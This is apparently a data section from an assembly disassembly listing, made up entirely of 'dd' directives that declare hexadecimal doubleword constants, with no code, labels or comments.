		dd 0BC70121h, 28DC60FCh, 0F5B7F4B2h, 0FFE14905h, 0C00415F1h
		dd 6890A6D2h, 0FEDACA54h, 4310E4Ch, 0C3E16F41h,	30774EF3h
		dd 2B1EE8E6h, 2D5639CFh, 90061D02h, 46546082h, 8476EF4h
		dd 418510C0h, 0FD18B24Fh, 5210243Fh, 0D7CA1CDEh, 74DF805Fh
		dd 7D2696F1h, 0F9DB4E07h, 0E090CBB9h, 5050F2E6h, 48ECB028h
		dd 67009163h, 0E7E54994h, 567F1AA6h, 0DA686F05h, 2280E602h
		dd 311CF88h, 70FF6526h,	39C8AC56h, 2AF8B1E8h, 18B4C97Dh
		dd 7C277901h, 0DEEDB5FDh, 3FD9E0h, 0E335621Ch, 0A1CA7E0Eh
		dd 31C93850h, 1F0BFB00h, 8C2DE8E7h, 0A4B0398Bh,	5C00400h
		dd 54A13AC4h, 0AABE1D03h, 98D00630h, 0FC1F6C5Ch, 14BF0381h
		dd 0FC19E178h, 0A2472888h, 51F03712h, 0B6CF00AEh, 55385C68h
		dd 7C2A0500h, 74122402h, 0FA7E0252h, 0DE4791E3h, 80D6CC84h
		dd 623B8C1Ch, 1889F48h,	0E89E89F0h, 0E7E4C833h,	0EB841CC3h
		dd 95EA4785h, 0B96710F4h, 3500387Dh, 3CB14061h,	2290C76h
		dd 0D764800Ah, 0FDC0E9BCh, 544D3B07h, 3EF9019Ch, 2C8C7FA9h
		dd 58155FCh, 44D36E83h,	0CEC040F1h, 959C3ED9h, 45002FEEh
		dd 9987BA10h, 777B01C8h, 0A5231794h, 0DB2C02CEh, 4C59469Dh
		dd 0FEE16B80h, 203155h,	4AC5603Bh, 5FA10121h, 4DE3BA00h
		dd 92F3F534h, 606E7EABh, 0CB87793Ah, 55074568h,	443BD710h
		dd 82B4DE40h, 536330E6h, 9EF5688h, 252FA27h, 0C0172090h
		dd 4F48A6h, 88B732D7h, 27DAF962h, 6565C00h, 78DF1130h
		dd 1540C072h, 7F71C1A0h, 0C0094C73h, 80A74D36h,	1BBCE974h
		dd 0FAFE56h, 42FF398Eh,	61ED2FF1h, 64747700h, 17466310h
		dd 9F8500B6h, 0D3B55F1Dh, 180067B4h, 0EC574F96h, 0F6A7DA6Eh
		dd 1FDB0094h, 0B0BE3139h, 0E3002A22h, 3B8269D2h, 1FCEF6C8h
		dd 6D27C9h, 6F46159Bh, 40F91D74h, 0B2160481h, 8F00497Ah
		dd 515E1AD8h, 3B9232Ch,	0B33F73C4h, 11B840C0h, 153D2DEDh
		dd 0A66F804Fh, 0CD6BC48Dh, 5C1B7CA0h, 3A0052BDh, 597BD7ECh
		dd 600DC91h, 0C3B75DAFh, 0AA16B6h, 1B4E4D77h, 323D5884h
		dd 4A259900h, 0A875D26Dh, 4CC248B9h, 0C6006238h, 0D53007F8h
		dd 993F91C0h, 0C8AC001Eh, 0BF63C343h, 1AD000B5h, 0FD5B665Ch
		dd 11009B18h, 90AD985h,	5CC3071Bh, 0A302C716h, 0D842775Eh
		dd 0C5E2D860h, 0F96B2210h, 7C918500h, 3D68700Ch, 0E43BF224h
		dd 0ECE67A38h, 945BF93Bh, 39E42ED6h, 1C5D3BA2h,	138051FCh
		dd 994BD018h, 28BE0082h, 0CAF2E83Eh, 0DB7553B8h, 0CE5C080Bh
		dd 0B7A0C006h, 1C97A3Fh, 0EC8429A3h, 71A48E38h,	0C270A027h
		dd 7E104C09h, 92500080h, 1760354h, 0EF155AC6h, 402F5D7Bh
		dd 3ACE2A85h, 0AC1D7090h, 1081190Ah, 0A4FF7BAAh, 3A5AC4FCh
		dd 0E8A65C1Dh, 0B63B002Ch, 1FC570E6h, 0A6957B00h, 5DD7A46Ch
		dd 7F1D0076h, 189ED8Ah,	0DD000C03h, 96A69BF2h, 0E77B7A0h
		dd 0C0744C35h, 0A0B2A00h, 3A0C9A28h, 1002EEB4h,	0C1AF0010h
		dd 0CB695E73h, 0DC1C32EBh, 228F5624h, 852B20E1h, 0F174E53h
		dd 0D5CA0C36h, 9B3A5F00h, 4418524Fh, 0F3DAA9FAh, 0BDE101BBh
		dd 0A456B753h, 314FF807h, 84AE0100h, 137A1154h,	0A44D5075h
		dd 72A71D45h, 884C0018h, 874A17A3h, 2007474h, 780A0783h
		dd 0F6B88Ch, 0CA308627h, 12805870h, 0B761E500h,	6D443D2Ch
		dd 6CC704D0h, 0A0DA3B52h, 0AB0162C8h, 17A9F46Fh, 406038BAh
		dd 9703007Fh, 0CA41D15h, 0B470B0E6h, 7EB79A0Fh,	1870098h
		dd 2D529D8Fh, 0D4006391h, 0E82295D4h, 31000D7Ch, 3BF64BA0h
		dd 7E17E82h, 4A3861DCh,	651600C2h, 0AA00E36Ah, 95200DADh
		dd 0F6E4BFh, 0FFCF815Dh, 58547A03h, 0B504B807h,	0EB0244Eh
		dd 0EA59C5C3h, 0BE9E009Dh, 17ED525Fh, 7300BA86h, 672510F2h
		dd 0D097A6h, 0BE6489F9h, 69C0237Bh, 92C4DF07h, 2560989Dh
		dd 486A38B0h, 28633EE7h, 17905B4Fh, 1C009A79h, 108B53ECh
		dd 0C8853Bh, 0D8CFA15Ah, 6AF7B684h, 0F873F8C0h,	1C07669Fh
		dd 80618609h, 36215EBDh, 5900226Eh, 0F1A64A6Dh,	72B978h
		dd 501527B8h, 61DD2D7h,	0B183C50Eh, 0FAD4A039h,	4849EFB4h
		dd 9E03FCDFh, 3A17DCFh,	0BB306AB0h, 9B776B00h, 26E1DBCBh
		dd 351F0069h, 81C1D1EAh, 8EC426Fh, 62324Ch, 23313487h
		dd 29AF40Ch, 7BA9DA49h,	48C34D8Eh, 628AF1A0h, 145C9680h
		dd 85DBB0D3h, 3D789C4Ah, 0E02BA507h, 0D3924619h, 9800E366h
		dd 1E9B6E22h, 0C7A6A1D5h, 0E831D2h, 30683E74h, 81E54417h
		dd 4DE6E803h, 0F7DF0C6h, 0FCBF7909h, 1294795Bh,	4915F5CCh
		dd 10609514h, 7C1FA70Eh, 8A402805h, 9E2C3201h, 17F30966h
		dd 0B88BB1ABh, 0A6E60000h, 4B008B9Fh, 0F267880h, 0E29ABF37h
		dd 0B4B7009Dh, 84EF5CC0h, 8000AAFFh, 49966726h,	5894E9h
		dd 5DBA5A03h, 69201EBDh, 7C718B02h, 0C0E009B5h,	26A6FCF6h
		dd 1D1CF68Fh, 722105EEh, 0FB0FC1ECh, 1246E8CBh,	1E432A1Fh
		dd 3762501h, 4BF090CDh,	0B74F035Ch, 77ADD1B1h, 0C6D3FC98h
		dd 0F0E7C800h, 50186325h, 374C0009h, 0D5961AA5h, 4B00807Ah
		dd 0D9F8C195h, 4E9005h,	0D429B00Ch, 6F2BB68Bh, 3D4D4B00h
		dd 0F55F1F51h, 0FEB200F6h, 0FDD3B361h, 30001192h, 3B212AB1h
		dd 718593C9h, 8FF600F2h, 0AF876B49h, 0E2728079h, 1144E600h
		dd 303221B7h, 76B200DCh, 0DF34CD7Bh, 70009623h,	8B409238h
		dd 0A12965h, 0AA1AAD6Fh, 0E6842E6h, 0A4DA8501h,	8B416ACFh
		dd 4CA3FE8h, 127EE78Eh,	0CF7DC719h, 35B8A8A1h, 8F8BD052h
		dd 0CC813Ch, 687E45F2h,	325F3ADh, 351130Ch, 15A8B910h
		dd 8F00CD55h, 3077D8ABh, 9DA4174h, 0A63C6876h, 61406C8Fh
		dd 6A6E3EE1h, 52001472h, 0CBB5E86Bh, 583DA0h, 3911F732h
		dd 92BBF5B9h, 725B5500h, 5C57E976h, 80960086h, 1AFE759Eh
		dd 0B15CA9C4h, 0C2CB013Dh, 1E0EA34h, 10864C4h, 82573786h
		dd 607588E1h, 250EA93Bh, 2091E484h, 4137F6C2h, 10DB2455h
		dd 890800A9h, 0AE11F3FBh, 1C65E400h, 5C5EB9C0h,	4E3E01BEh
		dd 0E080289Ch, 2D26C83Bh, 0EF325D00h, 297BE2B9h, 77D1000Fh
		dd 1DD5BEDBh, 0EB059148h, 856DF15Dh, 0E21DA00h,	0ED61CDh
		dd 16500F08h, 0FA574C14h, 54377005h, 6EC13AA5h,	0B7E85156h
		dd 398C001Dh, 0D58A62Fh, 0E107EF2Dh, 29697173h,	0BE909C27h
		dd 0C3228Ch, 47E099A4h,	600BFF05h, 843F631Dh, 8BFB39C0h
		dd 0C99B9Ch, 0B4123689h, 832DD39Eh, 0AEF9B900h,	0D638CCE7h
		dd 97C100D9h, 3B99E144h, 7D00BB2Ah, 1586F55Ah, 2FF0938h
		dd 7EAA9C73h, 2D60FB24h, 70EEF04Dh, 962BAE07h, 0D4402952h
		dd 186E994Ah, 0B826B94Bh, 8D0162A8h, 0C4367A3Fh, 22E80254h
		dd 1917ECFh, 7FDF6C5Ch,	70594217h, 2C003BDEh, 7A7906FEh
		dd 0B86FD509h, 0F9957DD5h, 0A066DCh, 0F920DA0Ch, 0EC0AE2DBh
		dd 722FE500h, 0A4D84BCFh, 0F211C75h, 36CE8007h,	0DDFD0237h
		dd 0ED006676h, 4008C76Ch, 74C6AD67h, 0A5F31F7Ah, 0B20180E5h
		dd 0A9FE9FB9h, 6A51DE00h, 2407051Eh, 0FC45000Bh, 9528EFE1h
		dd 0D42C0CFFh, 9907EAFEh
		dd 6810C5E7h, 0E667276h, 0E47F31FAh, 0CF7A027Eh, 5E085E3h
		dd 483B86F7h, 80983B8Dh, 61B182D6h, 24A59Dh, 0FCF07101h
		dd 7F2B40C8h, 0B8283F00h, 0FF34AAC3h, 5F7A079Dh, 20BEDCBAh
		dd 0E2AEC9A1h, 0EA0AB007h, 879158FEh, 80403F96h, 7681114h
		dd 0E28ADBF5h, 0A4337090h, 8D00BBF4h, 76AE98EAh, 0DFC75Dh
		dd 49836541h, 0DBBD9209h, 7B4B5100h, 0BEF37E33h, 9CF40031h
		dd 7D3B0410h, 561834A4h, 61906AB5h, 0CC010474h,	0C0F7BC18h
		dd 75D4F32h, 4B7802F8h,	2A357A00h, 0F881F998h, 3E420024h
		dd 0CFB1286Ch, 0C106D8E1h, 65F1FEBEh, 0E0FF0470h, 0C00BED59h
		dd 10F5897Ch, 60033538h, 4002F110h, 19A63ED5h, 8B3DED81h
		dd 9635CFD8h, 88004888h, 2D15C505h, 0A16E6096h,	0A23B7610h
		dd 0EE002F90h, 4AF3799h, 5F9ADFh, 0C358EFEDh, 34AEDE3Ah
		dd 7400B672h, 710A20E1h, 7BC9D4BAh, 0AC7F28h, 638CD9C1h
		dd 64417A59h, 6324D07h,	740EF2Eh, 0CD78C3h, 5FDEB9AEh
		dd 229D9955h, 0A08B8700h, 74893017h, 0EFB7005Ah, 0F0E282DFh
		dd 0E00FACC6h, 40FF29A3h, 7B0882Eh, 0A2D03A7Dh,	83DD3900h
		dd 0CD441CA4h, 0BBE80E3Ch, 3F6A0058h, 20D96D86h, 0FF80382Eh
		dd 62407800h, 42AFB99Dh, 0ABEBD203h, 0B07FB74Bh, 19A217h
		dd 866477DCh, 9030AC06h, 7CB5CB14h, 3A610FB8h, 0B81FE097h
		dd 0DF400Bh, 42078D79h,	73A97BA4h, 43312400h, 0C4335A2Ah
		dd 7DA50006h, 0BC2BB1CFh, 0F20012ADh, 86196871h, 94223CBh
		dd 7C22154Fh, 0FB701403h, 25A3B4D0h, 1F0CC700h,	0FACFF9B7h
		dd 302A002Eh, 0D96CFD8Fh, 0B400D68Ah, 63B93BF7h, 0FCBA55h
		dd 4DBB28AAh, 7D2F87D4h, 0DF3E461Ch, 0ED067FC3h, 0AD6A880Ah
		dd 0A6450E38h, 0C3408577h, 157C4205h, 80332B30h, 24EEC6FFh
		dd 620019Eh, 197D6F07h,	35718408h, 4FED001Ah, 2E9DF041h
		dd 48541F07h, 634081B2h, 12D7644Eh, 0ED2DD62h, 0D1C0DE50h
		dd 4805B9F8h, 0E46FDC01h, 3B67611Dh, 1A0E7C8h, 0D42FEAC1h
		dd 0FC62AFBEh, 0E9B0C77Dh, 0FACA5300h, 26B41E1Ah, 10760E91h
		dd 809DF6B2h, 0E6A3B50Bh, 0FA0CD70Dh, 48DD5379h, 0C378FFh
		dd 0EBD82FFEh, 0E22E031Bh, 4A7D109h, 1602FF13h,	56409216h
		dd 0BB0058DDh, 0E953E69Eh, 27BDB9h, 1B508CEFh, 8ACE386h
		dd 0D652C200h, 78077ADCh, 0F00A07C7h, 8E284570h, 0B9802FA0h
		dd 79001B87h, 0A83B7AF3h, 450367h, 0AFE03F95h, 3DEC8661h
		dd 0E0A1496Eh, 0B0BF0CC4h, 71AB7371h, 58B118D6h, 0C9CE2154h
		dd 210988A8h, 0F7E27E00h, 29416C33h, 30117D1Dh,	0A32099E7h
		dd 0C3004F06h, 470996F0h, 0DB9815h, 5443451Ah, 0BAF9E5E0h
		dd 0CBA2AC00h, 3D72BB8Bh, 0F8A47BDFh, 0CAAF011Dh, 0A31CC193h
		dd 0EB57C8EFh, 0BF00BAEAh, 0E7F03C3Bh, 0FC7F3F03h, 8AE20043h
		dd 8B3ACB1Ch, 0BC1962B0h, 9428BE29h, 0E2B0FF13h, 0D87FF9D7h
		dd 0CD00DAB8h, 20A7CA5Dh, 186B497h, 9F1EBA7Bh, 0F05B2331h
		dd 4000ABF7h, 0FAC2F313h, 0D4EE78h, 84560962h, 745B125Dh
		dd 0BBD6AB07h, 0DAD0C420h, 4CE0A7h, 95EF6EC5h, 83FF5971h
		dd 6B29B01Ch, 0FEB4D781h, 8BE47853h, 193C0EC0h,	2A80B1F9h
		dd 0A4BC8AA8h, 85075C00h, 88D7E90Dh, 0A5B31EDCh, 0E1804169h
		dd 0CC97BF2Ch, 4C003264h, 0B919C7CAh, 0FE8F7A35h, 145C7A70h
		dd 0A0AD96AEh, 1C96E93Fh, 18A4001Fh, 9C05CD5Eh,	9E20E52Ch
		dd 0A9024301h, 92E887ECh, 0EE5E00F2h, 94868453h, 30000347h
		dd 6AADCC2Bh, 0BFF318h,	44F7B58Bh, 0D2A01F97h, 0BD5D2300h
		dd 8E33E1E0h, 0F1D70077h, 3F7888A8h, 0E793587h,	0EBF2EE07h
		dd 7A204668h, 0E0532397h, 92AC00FEh, 9C20427Bh,	757365A6h
		dd 0A2E6FA00h, 38BB9868h, 366B0BF1h, 65844CBEh,	39AF803Ah
		dd 0D9149417h, 0F40AE3h, 47F0CF26h, 73E983DCh, 635E2C9Bh
		dd 0BE400F4h, 7EFC6BDFh, 4D851A00h, 0C2FEF38h, 44F800E5h
		dd 0E9428441h, 770F5347h, 0AA5CD5h, 0D1FD2B25h,	6234009Dh
		dd 0ACA685FBh, 0E912B1BDh, 400009AEh, 38EEF375h, 871100B9h
		dd 0A5BC0B30h, 9AEA3E51h, 7F93210Fh, 96D003Ah, 18D042ABh
		dd 0A80CD7C4h, 8F00AA8Dh, 1DAE382Fh, 1BF6D4Dh, 9C193EC9h
		dd 0ECED0118h, 7603B246h, 7908D3Ch, 0FB05E0D4h,	0D2B00FEh
		dd 58C35A8Eh, 97B1DD7h,	0C908EF04h, 389657DFh, 559F0049h
		dd 26347AC4h, 66002022h, 4395E913h, 94B8B11h, 874FA6E6h
		dd 4CA45C00h, 2E00DA96h, 842F6DA3h, 48CF0DC4h, 9D0020AEh
		dd 5E7CB877h, 4E01CEC9h, 0B2153783h, 1970586Fh,	5F2901F5h
		dd 534F881Eh, 0B396D887h, 28E6BCF6h, 5BD73B01h,	1A5CCA0Eh
		dd 1F5ED3D4h, 459CD9Eh,	0BCB67063h, 0EF300B3h, 0D6AA539Ch
		dd 0BDA0C6Dh, 0B4A19908h, 1E18EE7Bh, 0B0107943h, 2CB51F68h
		dd 65E6C0C9h, 36FD5EA9h, 4D449800h, 0CBD122B2h,	7DC1001Eh
		dd 0EDC3B03Dh, 92E68555h, 173AC700h, 4FCF9B7Eh,	9719006Dh
		dd 87F6C990h, 0D4FC8AC4h, 442239h, 24DF9E92h, 338F8Ch
		dd 84554EF9h, 83D859CCh, 2008070h, 975D9951h, 3C9476B6h
		dd 698090F0h, 7A6027E8h, 3700FC80h, 653D7CA1h, 19EE32Fh
		dd 69C37ED9h, 0E557A22Bh, 0B0804820h, 0ABCE7200h, 0B3767E4Ah
		dd 1D37F030h, 8997749Fh, 0E00054B7h, 6DEC5A39h,	7147D318h
		dd 935B20h, 25BCE9F2h, 396080B9h, 1DF6D200h, 33ED6E4Ah
		dd 0C91700E1h, 897DB644h, 8E3E385Dh, 0C0808087h, 0CD71AFA7h
		dd 41A019Ch, 742B8C98h,	0CA2EE4EFh, 0B2822407h,	0A2507126h
		dd 38D750F7h, 0C8005AFCh, 6607BCA8h, 0E507128Ch, 3D381F86h
		dd 25DCB941h, 9C87DDC1h, 53EE7EECh, 5DE0D287h, 2C507811h
		dd 6F0073D4h, 0FA88DFD1h, 68DD41h, 91476948h, 5610F9B0h
		dd 53E26F00h, 0AA175DBBh, 8DC02EE0h, 14680066h,	0B9FA9C8Eh
		dd 0D607EF1Dh, 4A38BBCh, 2270019h, 2F25E1h, 0BDB2BCA4h
		dd 0F20AD076h, 8072C203h, 98A64F6Ah, 0C7D971h, 0ECD22B07h
		dd 1DB07EBBh, 951FB47Eh, 0A3407F98h, 4A4489E3h,	734E00ACh
		dd 339CC7F4h, 34000815h, 85FDDF6Dh, 0EC46A1Dh, 3623D70Fh
		dd 63E7F520h, 45FA73B9h, 7C479604h, 7C2E0C5h, 0F186607Bh
		dd 0D29239BEh, 94A07800h, 0DA3C4C49h, 0C1ED5A00h, 7018A26Fh
		dd 489B0F39h, 0EEC39488h, 89A85060h, 20CF6A83h,	8E2040EAh
		dd 0EED91A45h, 28D34856h, 30C87D08h, 0CA526D0Dh, 5CD420h
		dd 5E061E2h, 5DFA8D3Bh,	8301D17Fh, 0F15FAA75h, 0A2F480A0h
		dd 16EF2632h, 0A1033E20h, 20F8E894h, 0FC36C2D0h, 1F5848h
		dd 3E3DB9A6h, 17CB2A5h,	95FA4897h, 0D096275Fh, 64F46956h
		dd 3590D00h, 238A9E8h, 0F024005Eh, 535CEF8Ah, 0B80F8604h
		dd 4035DC07h, 0FC4F50AEh, 184A0003h, 8FF9CD52h,	221C75FBh
		dd 0B006A16h, 6843D906h, 0F6AFF850h, 1AAA0085h,	2552020Fh
		dd 2001D0B4h, 0BBE4741Eh, 0B9FC6BA4h, 0EC79024Eh, 3965D3EBh
		dd 1D1E7FC0h, 0C585D800h, 0B37B8FA5h, 132900E8h, 0CDFB0F9Fh
		dd 4807E60Ch, 0DE254695h, 0FFFA2CF3h, 0D666A060h, 167A0005h
		dd 5C3C3E5Dh, 0B87EE897h, 4E4CBF00h, 800E6038h,	7A730C24h
		dd 0D03933AEh, 7640CB7Dh, 9D233808h, 990809B0h,	6700F5CDh
		dd 98BCAC17h, 386F6406h, 0E1E9269h, 0BF448036h,	725B5C6h
		dd 0A5C2A607h, 2483E085h, 42B8D04Ah, 8040E1EEh,	813BEDh
		dd 9D994C17h, 0A0A47EABh, 2E2F850Eh, 2363A076h,	3B1F1Bh
		dd 1A39AC3Dh, 0E40FA7CFh
		dd 0C5785001h, 21048355h, 3817F530h, 6F01B144h,	58A161FEh
		dd 312521B8h, 57B830D9h, 0AB00097Bh, 0A94C6971h, 775EF5h
		dd 0F2B7AED8h, 6A999AD0h, 0A3F70D00h, 0AB9C3231h, 1CAEEC4Fh
		dd 808E62C1h, 8D2DF1D8h, 0DBB8D280h, 4852FB00h,	0E64E2AFh
		dd 0B0097C8Eh, 57330006h, 23ACF290h, 7D5CFEF4h,	4EC3F6Fh
		dd 0C5805A08h, 0BF90088h, 3AE8701Ch, 3C0C4580h,	800A78Fh
		dd 0A09096BAh, 182B60Bh, 97812289h, 0D4212A91h,	7CC066BCh
		dd 0F5F66037h, 7CD2044Ah, 81754FD5h, 9C25A56Ch,	942A028h
		dd 0A3F1FE5Dh, 756E32B8h, 5AFF39E4h, 8112A200h,	19B37946h
		dd 143B49h, 5E2F4705h, 0EA75309h, 0A42E1DB5h, 8421148Ch
		dd 882F4B00h, 42993DABh, 393801CDh, 581951BFh, 0FF508180h
		dd 5B858DBAh, 60DBE0h, 0DA4D9BD7h, 2FEB36CFh, 0BDE94Ch
		dd 311CB7D4h, 0F3AEA63h, 3B2D0223h, 807D8C85h, 0C1C2367Ah
		dd 0EFDE1A07h, 2C02B3Dh, 45AEF6h, 50E5B622h, 7BA01792h
		dd 0CC6E5600h, 7D70EE6Ah, 65110A7Ch, 822FA8h, 237E2CA7h
		dd 2D0E1476h, 0C0B738F8h, 5B79BF3Dh, 0A770054h,	0AB06499Ah
		dd 0B90E6AA5h, 8068F4D1h, 0EB4FAC79h, 4A0A0028h, 9C3A4EA3h
		dd 7E01A6E3h, 7F772E91h, 608023CEh, 0F0C7B81Ch,	0A70F4DEEh
		dd 0CE75499Ch, 7900FF7Ch, 0B8C9B31h, 8E4600EAh,	6F97BF4h
		dd 0CE70C7ECh, 24023300h, 68398FCBh, 0F3ED004Eh, 58F02B3Eh
		dd 51077910h, 0FAD9F938h, 5F3D09F0h, 0B8A90044h, 0B601EFBAh
		dd 0D2019753h, 0A766116Ah, 0A8D01699h, 1967EAFh, 8D3108D6h
		dd 406D30B4h, 43208B94h, 0CCFE8406h, 0E86FE9h, 83BC9DA6h
		dd 0DA19F27Ah, 3EF9D300h, 97B5F05Eh, 7E6B1D78h,	8D5600C5h
		dd 24F48018h, 349DD500h, 0F71F5AB8h, 27C700BDh,	490BEC08h
		dd 70F9C950h, 9400F43Bh, 1D594A7Eh, 0B067D9h, 0CEF7C3C7h
		dd 0E7F9A619h, 7A6C1F00h, 5DDC812h, 8A790262h, 0CA32F67Fh
		dd 0D1CF2840h, 0DF9AA101h, 0FF7EFEEEh, 0EC1ACE30h, 6A8E00C4h
		dd 894F6669h, 0BA380A75h, 0F700FC04h, 0B2CA0255h, 0A0F2ACh
		dd 2B2EDAA5h, 39E5090Dh, 7B4A6500h, 8412D849h, 0BC9073Dh
		dd 0FC1D5540h, 0C800F5A1h, 0CACC10ABh, 0DF194930h, 0D3AF0070h
		dd 67EE18B2h, 6D027076h, 2B55F9E8h, 0A15FC080h,	0BD194C12h
		dd 6DDE26h, 4518B59Dh, 9BFEC8E7h, 248B1100h, 0A4E3A76h
		dd 0DF38013Fh, 0F0993ED2h, 0AA1083F3h, 0A081D152h, 501579h
		dd 88392EB8h, 10B76447h, 0F6CD8000h, 37AE8157h,	4ED60670h
		dd 5048E10Bh, 35474307h, 6B70834Bh, 1608C4h, 0CC861F0Dh
		dd 0AF8252FCh, 0AD00797Ah, 0F1E655AEh, 10B5BD5h, 3E56498Fh
		dd 800919CAh, 0D1FB9088h, 79C1248h, 5894F76Bh, 7192143h
		dd 0CCFFE1B9h, 1B008F69h, 0A71210Dh, 1F584F1h, 18E7D9F4h
		dd 60385C9Bh, 58EC9770h, 467CBC01h, 0C7ED13A0h,	5ACC0h
		dd 1B89E751h, 0FB691F6Dh, 0AAD4291Eh, 771C80BBh, 6F265106h
		dd 0D1BA1743h, 205F108Ah, 6BEACEA0h, 0DF0F9B42h, 0A48FEE8Ch
		dd 1E690220h, 0F360C0C7h, 0F82B7C30h, 1C45030Dh, 0A50BE2F2h
		dd 59014904h, 9C07234Fh, 723440F9h, 0AD00D65Dh,	495405C2h
		dd 1C7120h, 0CC8C53Bh, 3EEE75B9h, 2D745C06h, 85FBBh, 3DBF7913h
		dd 504E51D2h, 54E12F00h, 3848DFEAh, 0C0494C97h,	9CC3C860h
		dd 30C25F62h, 0AF3324E4h, 7DC820A4h, 75AC13h, 0C3F8940Ch
		dd 0C7DF6903h, 50F29EFAh, 20122F2h, 2A01E43Bh, 0B9801338h
		dd 63E5F6EEh, 950220C2h, 9E2FC949h, 5380B0B7h, 0E4B01DF7h
		dd 8740233Dh, 94CDCF2h,	2912F52Dh, 8CE47E80h, 37F23436h
		dd 5C693000h, 0E9DF42FFh, 8BFE0077h, 9CA17453h,	0D900914Ch
		dd 4DD3EAF3h, 19F0AC5Eh, 0E0C2D1C8h, 430D2033h,	0C500CEB0h
		dd 0F00187DBh, 55D3F90h, 380A6EDCh, 95E60586h, 2B202CD4h
		dd 8055B821h, 70D95898h, 0B37C207Eh, 816EE11Ch,	0F917485h
		dd 1BC6CC40h, 388ED796h, 0B40F24D3h, 0AB827580h, 0DC806A59h
		dd 25641542h, 0F49B0F00h, 7F236EE4h, 44C84897h,	0D67C840h
		dd 4FF1E344h, 6957E030h, 3A0CEE00h, 0EBDAABB5h,	215F061Eh
		dd 7916DFA4h, 0DBC1980Fh, 0E06F20F2h, 53DA61h, 56F3E1DCh
		dd 12EB5E77h, 0A44D7300h, 88858074h, 0C22D0E3Ch, 0BC407191h
		dd 0D2EFAC07h, 0D94D0104h, 38904606h, 0FAF65BDh, 1C6FA7D5h
		dd 61405B67h, 0FCEC9F19h, 101DBCBh, 0ADD46612h,	0EBD44D75h
		dd 50310090h, 0F84C8B4h, 0CB3E0B89h, 4E00F70Eh,	0BF58C1F5h
		dd 984DBE34h, 89440097h, 1569EAFEh, 0D1C010BBh,	0CAD9049h
		dd 0F6D600F4h, 37118B25h, 0A0E39DBh, 0C0D0EE56h, 0B44BFED8h
		dd 1594A818h, 64DF00A9h, 0DEAF594Fh, 9A3A715Ch,	900106CAh
		dd 286BC6h, 29325FAEh, 884B833h, 410E8090h, 0C0FBD7B2h
		dd 0FAF398A2h, 91794CC2h, 1EF74800h, 0B6160B0Dh, 0EC5EF800h
		dd 0B20FEB55h, 84A73CD2h, 2D8FF183h, 6EC0ABB3h,	1E39D607h
		dd 1FCB3831h, 42BC476h,	8A4E05FEh, 0C0BCC8F6h, 1F63D04Dh
		dd 0AF781E00h, 0B5FCB891h, 30996E64h, 5B3D9C0h,	27E0C4C7h
		dd 743BE0EDh, 0FFA681A0h, 14345AF9h, 0E010B211h, 609CFED2h
		dd 0A9CA0905h, 0E09FD70Fh, 254868h, 29F372B5h, 0FABA21ACh
		dd 61FB43Eh, 0EC19F517h, 49613B18h, 9C9881C4h, 83FD31C2h
		dd 92E122FBh, 27F50C81h, 893011F4h, 4B7ED908h, 3AE15A89h
		dd 4018AD12h, 51C04428h, 19C2AB90h, 25C732F2h, 0C11842A5h
		dd 0CA2EFE2Fh, 85080C4Ah, 98894234h, 3B6A248Fh,	0D01D100Ch
		dd 399FE124h, 78A83108h, 0CA0353Eh, 18A05F05h, 54A13155h
		dd 92185069h, 55895D93h, 42D5904Ch, 8AB92197h, 150C8CB8h
		dd 0E53EC00Dh, 0C442180Eh, 25EC28E0h, 0F405E17Ch, 8261513Ah
		dd 77D00C1Dh, 16E69C07h, 7F3B0D3h, 0A5002112h, 60A98BE2h
		dd 0D768D4h, 979EF910h,	0EDE44DF2h, 1E378403h, 8713F593h
		dd 2B7F2C90h, 0EC170020h, 4EAF286h, 0A40095EBh,	0FCE58EC8h
		dd 388A7403h, 0A184F453h, 0EE23F63h, 0BE10A0CDh, 74DB0BA7h
		dd 5CF7031Fh, 0C622B067h, 2961B900h, 950B9AFCh,	0D4A0CE0Ah
		dd 8844DD06h, 3BB00F00h, 0D1D76699h, 0B5711C41h, 0C8FB585Dh
		dd 0AA1459A9h, 0A81C05B9h, 887401FCh, 8C3603A8h, 10B18057h
		dd 0AFAACC6h, 54600AFh,	12F2C08Dh, 8C7B0DD1h, 1F0EF70Ah
		dd 41808CE9h, 61712748h, 36A50006h, 991EB97Bh, 0E30095AAh
		dd 0C23A227Fh, 0A08BF4FBh, 608504B3h, 711BA0BCh, 681518B0h
		dd 1141A74h, 0DC585D1h,	3450DDB1h, 2DB4ECh, 0C28F6BADh
		dd 0F5C08011h, 485AFF1Fh, 3880049Fh, 2120A7C9h,	678E0033h
		dd 1F4A5929h, 0CD1CA69Eh, 8A406A96h, 37CE840Ch,	271700A2h
		dd 0A5056D1Dh, 6473F989h, 8012F13Dh, 4D33738Dh,	242A9FAh
		dd 592ABE50h, 0F8E0EC91h, 3C00B6C9h, 25261A31h,	3EA5F36Dh
		dd 7C808804h, 96681983h, 29296653h, 15604018h, 44DF3h
		dd 0D07667CFh, 0F24519BEh, 2ECD600h, 0CA5E57D4h, 921302B8h
		dd 4ADD2BFh, 0E46AC080h, 88DE5ABEh, 0A5024906h,	0E24807F0h
		dd 0C0ED7D16h, 8BE3E422h, 7C3C9C3Ah, 54190A60h,	6305C09h
		dd 0E9A2C3B5h, 1C30F86Ah, 540408E6h, 48C5F8A6h,	0D400683Fh
		dd 550C10DBh, 8217FCB7h, 2C01DC7Eh, 1177B293h, 0DBAA90E3h
		dd 0CEBE00B3h, 8D670814h, 9F3B8B7Fh, 5D059F42h,	0C3DD210Fh
		dd 1E7DEF91h, 0C3AEDA18h, 0B5B43C2Bh, 0AFD0CAC3h, 5EB8A1A5h
		dd 0CDC6A317h
		dd 29214A00h, 1B66CFDh,	0FC8F4344h, 0F078CA60h,	560091E9h
		dd 0B29F7ECCh, 6997C4Ah, 26D21894h, 220A0BFh, 3AAF18F2h
		dd 742B40CDh, 0B5557500h, 654C1C50h, 0AD421F21h, 0AB5BC03Dh
		dd 0E76D08C3h, 0E908F63h, 2355C0BDh, 28317472h,	18C07093h
		dd 780FCF91h, 7132244h,	61B8C873h, 93DB8703h, 4006664Ah
		dd 8ADF3696h, 4CD200A0h, 8B2F949Ah, 7B71FC01h, 88C28100h
		dd 21877D47h, 3DB8EE3Fh, 0A01D5D63h, 583384A9h,	0B2811C5Bh
		dd 0F901D79h, 0C9DBBE4h, 0BDB53E96h, 896082E8h,	7EAAD0B1h
		dd 30D35719h, 37C0087Ch, 0BEC26095h, 9D250044h,	0CA0065EFh
		dd 1035268Bh, 5AB303E9h, 0F3BB8F6h, 0E0C9B862h,	0DB575191h
		dd 0BA6A032Dh, 10FC73Ah, 0C66D30DFh, 900881Dh, 0A6EB3033h
